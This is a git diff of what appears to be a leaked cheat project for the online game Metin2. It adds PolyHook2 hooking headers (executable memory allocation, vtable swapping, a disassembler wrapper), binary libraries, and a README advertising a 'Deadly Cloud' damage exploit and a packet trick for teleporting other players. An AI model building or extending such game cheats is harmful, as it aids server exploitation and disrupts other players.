VirtualAlloc2(GetCurrentProcess(), NULL, m_trampolineSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, &extendedParams, 1); + **/ + + /*These lambda's let us use a single for loop for both the forward and backward loop conditions. + I passed delta variable as a parameter instead of capturing it because it is faster, it allows + the compiler to optimize the lambda into a function pointer rather than constructing + an anonymous class and incur the extra overhead that involves (negligible overhead but why not optimize)*/ + auto Incrementor = [](int64_t Delta, MEMORY_BASIC_INFORMATION& mbi) -> uint64_t { + if (Delta > 0) + return (uint64_t)mbi.BaseAddress + mbi.RegionSize; + else + return (uint64_t)mbi.BaseAddress - 1; //TO-DO can likely jump much more than 1 byte, figure out what the max is + }; + + auto Comparator = [](int64_t Delta, uint64_t Addr, uint64_t End)->bool { + if (Delta > 0) + return Addr < End; + else + return Addr > End; + }; + + SYSTEM_INFO si; + memset(&si, 0, sizeof(si)); + GetSystemInfo(&si); + + //Start at pStart, search around it (up/down depending on Delta) + MEMORY_BASIC_INFORMATION mbi; + for (uint64_t Addr = (uint64_t)pStart; Comparator(Delta, Addr, (uint64_t)pStart + Delta); Addr = Incrementor(Delta, mbi)) + { + if (!VirtualQuery((char*)Addr, &mbi, sizeof(mbi))) + return 0; + + assert(mbi.RegionSize != 0); + + // TODO: Fails on PAGE_NO_ACCESS type for now + if (mbi.State != MEM_FREE) + continue; + + // address online alignment boundary, split it (upwards) + if ((uint64_t)mbi.BaseAddress & (si.dwAllocationGranularity - 1)) { + uint64_t nextPage = (uint64_t)PLH::AlignUpwards((char*)mbi.BaseAddress, si.dwAllocationGranularity); + uint64_t unusableSize = nextPage - (uint64_t)mbi.BaseAddress; + Addr = nextPage; + + if (uint64_t Allocated = (uint64_t)VirtualAlloc((char*)nextPage, (SIZE_T)(mbi.RegionSize - unusableSize), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + return Allocated; + } else { + //VirtualAlloc requires 64k aligned addresses + assert((uint64_t)mbi.BaseAddress % si.dwAllocationGranularity == 0); + if (uint64_t Allocated = (uint64_t)VirtualAlloc((char*)mbi.BaseAddress, (SIZE_T)si.dwPageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + return Allocated; + } + } + return 0; +} +#endif diff --git a/Extern/include/polyhook2/Tests/StackCanary.hpp b/Extern/include/polyhook2/Tests/StackCanary.hpp new file mode 100644 index 0000000..261d65c --- /dev/null +++ b/Extern/include/polyhook2/Tests/StackCanary.hpp @@ -0,0 +1,12 @@ +#pragma once + +namespace PLH { + class StackCanary { + public: + StackCanary(); + bool isStackGood(); + ~StackCanary() noexcept(false); + private: + unsigned char buf[50]; + }; +} \ No newline at end of file diff --git a/Extern/include/polyhook2/Tests/TestEffectTracker.hpp b/Extern/include/polyhook2/Tests/TestEffectTracker.hpp new file mode 100644 index 0000000..3af668b --- /dev/null +++ b/Extern/include/polyhook2/Tests/TestEffectTracker.hpp @@ -0,0 +1,31 @@ +#ifndef POLYHOOK_2_0_EFFECTSTRACKER_HPP +#define POLYHOOK_2_0_EFFECTSTRACKER_HPP + +#include + +#include "../UID.hpp" + +class Effect { +public: + Effect(); + + Effect& operator=(const Effect& rhs); + + void trigger(); + + bool didExecute(); +private: + bool m_executed; + PLH::UID m_uid; +}; + +/**Track if some side effect happened.**/ +class EffectTracker { +public: + void PushEffect(); + Effect PopEffect(); + Effect& PeakEffect(); +private: + std::vector m_effectQ; +}; +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/UID.hpp b/Extern/include/polyhook2/UID.hpp new file mode 100644 index 0000000..7d80d23 --- /dev/null +++ b/Extern/include/polyhook2/UID.hpp @@ -0,0 +1,18 @@ +// +// Created by steve on 6/23/17. +// + +#ifndef POLYHOOK_2_UID_HPP +#define POLYHOOK_2_UID_HPP + +#include +namespace PLH { + class UID { + public: + UID(long val); + static std::atomic_long& singleton(); + + long val; + }; +} +#endif //POLYHOOK_2_UID_HPP \ No newline at end of file diff --git a/Extern/include/polyhook2/Virtuals/VFuncSwapHook.hpp b/Extern/include/polyhook2/Virtuals/VFuncSwapHook.hpp new file mode 100644 index 0000000..ededb6d --- /dev/null +++ b/Extern/include/polyhook2/Virtuals/VFuncSwapHook.hpp @@ -0,0 +1,42 @@ +#ifndef POLYHOOK_2_0_VFUNCSWAPHOOK_HPP +#define POLYHOOK_2_0_VFUNCSWAPHOOK_HPP + +#include +#include + +#include "polyhook2/IHook.hpp" +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/Misc.hpp" + +namespace PLH { +typedef std::map VFuncMap; + +class VFuncSwapHook : public PLH::IHook { +public: + VFuncSwapHook(const uint64_t Class, const VFuncMap& redirectMap, VFuncMap* origVFuncs); + VFuncSwapHook(const char* Class, const VFuncMap& redirectMap, VFuncMap* origVFuncs); + virtual ~VFuncSwapHook() { + if (m_hooked) { + unHook(); + } + } + + virtual bool hook() override; + virtual bool unHook() override; + virtual HookType getType() const override { + return HookType::VTableSwap; + } +private: + uint16_t countVFuncs(); + uint64_t m_class; + uintptr_t* m_vtable; + + uint16_t m_vFuncCount; + + // index -> ptr val + VFuncMap m_redirectMap; + VFuncMap m_origVFuncs; + VFuncMap* m_userOrigMap; +}; +} +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/Virtuals/VTableSwapHook.hpp b/Extern/include/polyhook2/Virtuals/VTableSwapHook.hpp new file mode 100644 index 0000000..0d5a68e --- /dev/null +++ b/Extern/include/polyhook2/Virtuals/VTableSwapHook.hpp @@ -0,0 +1,81 @@ +#ifndef POLYHOOK_2_0_VTBLSWAPHOOK_HPP +#define POLYHOOK_2_0_VTBLSWAPHOOK_HPP + +#include +#include +#include + +#include "polyhook2/IHook.hpp" +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/Misc.hpp" + +namespace PLH { + +typedef std::map VFuncMap; + +// storage class for address of a virtual function +// also stores the function pointer type and index number on the class level +template +struct VFunc { + VFunc() : func(nullptr) {}; + VFunc(FuncPtr f) : func(f) {}; + const FuncPtr func; + static const uint16_t func_index; + typedef FuncPtr func_type; +}; + +// definition of constant must reside outside class declaration +template const uint16_t VFunc::func_index = I; + +class VTableSwapHook : public PLH::IHook { +public: + VTableSwapHook(const uint64_t Class); + VTableSwapHook(const uint64_t Class, const VFuncMap& redirectMap); + VTableSwapHook(const char* Class, const VFuncMap& redirectMap); + + template + VTableSwapHook(const uint64_t Class, VFunc vfunc, VFuncTypes ... vfuncs) + : VTableSwapHook(Class, vfuncs ...) + { + m_redirectMap[I] = reinterpret_cast(vfunc.func); + }; + + virtual ~VTableSwapHook() { + if (m_hooked) { + unHook(); + } + } + + const VFuncMap& getOriginals() const; + + template + auto origFunc(Args&& ... args) { + // NOTE: could do extra type check if VFuncTypes were a template argument of the class + // static_assert(std::disjunction_v ...>); + auto func = reinterpret_cast(m_origVFuncs.at(VFuncType::func_index)); + return func(std::forward(args) ...); + }; + + virtual bool hook() override; + virtual bool unHook() override; + virtual HookType getType() const override { + return HookType::VTableSwap; + } +private: + uint16_t countVFuncs(); + + std::unique_ptr m_newVtable; + uintptr_t* m_origVtable; + + uint64_t m_class; + + uint16_t m_vFuncCount; + + // index -> ptr val + VFuncMap m_redirectMap; + VFuncMap m_origVFuncs; +}; + +} + +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/ZydisDisassembler.hpp b/Extern/include/polyhook2/ZydisDisassembler.hpp new file mode 100644 index 0000000..8270f95 --- /dev/null +++ b/Extern/include/polyhook2/ZydisDisassembler.hpp @@ -0,0 +1,34 @@ +#ifndef POLYHOOK_2_0_ZYDISDISASSEMBLER_HPP +#define POLYHOOK_2_0_ZYDISDISASSEMBLER_HPP + +#include +#include + +#include +#include + +#include "polyhook2/ADisassembler.hpp" + +#define unreferenced(P) (P) + +namespace PLH { +class ZydisDisassembler : public ADisassembler { +public: + ZydisDisassembler(PLH::Mode mode); + + virtual ~ZydisDisassembler(); + + virtual std::vector + disassemble(uint64_t firstInstruction, uint64_t start, uint64_t end, const MemAccessor& accessor) override; +private: + + bool getOpStr(ZydisDecodedInstruction* pInstruction, uint64_t addr, std::string* pOpStrOut); + + void setDisplacementFields(PLH::Instruction& inst, const ZydisDecodedInstruction* zydisInst) const; + + ZydisDecoder* m_decoder; + ZydisFormatter* m_formatter; +}; +} + +#endif \ No newline at end of file diff --git a/Extern/lib/VMProtectSDK32.lib b/Extern/lib/VMProtectSDK32.lib new file mode 100644 index 0000000..249256a Binary files /dev/null and b/Extern/lib/VMProtectSDK32.lib differ diff --git a/Extern/lib/python27.lib b/Extern/lib/python27.lib new file mode 100644 index 0000000..8b25134 Binary files /dev/null and b/Extern/lib/python27.lib differ diff --git a/Extern/lib/python27_ad.lib b/Extern/lib/python27_ad.lib new file mode 100644 index 0000000..8b25134 Binary files /dev/null and b/Extern/lib/python27_ad.lib differ diff --git a/Extern/lib/python27_d.lib b/Extern/lib/python27_d.lib new file mode 100644 index 0000000..b3f165e Binary files /dev/null and b/Extern/lib/python27_d.lib differ diff --git a/README.md b/README.md index cf79858..8a482b0 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,20 @@ -# C4USMultiHack-Metin2 -Self Leaked +# C4USMultiHackMetin2-C4US.PL + +Self leaked + +This is source from Metin2 - C4US.PL + +Specially credits to people without this source doesnt exist: + + EroS + Seremo + +This source is created by C4US.PL + + +this source have included exploits: +- Deadly Cloud (DMG Hack works on 90% servers) + + +What exploits u can add? +- Check sync packet and how it works u can teleport any player where u want \ No newline at end of file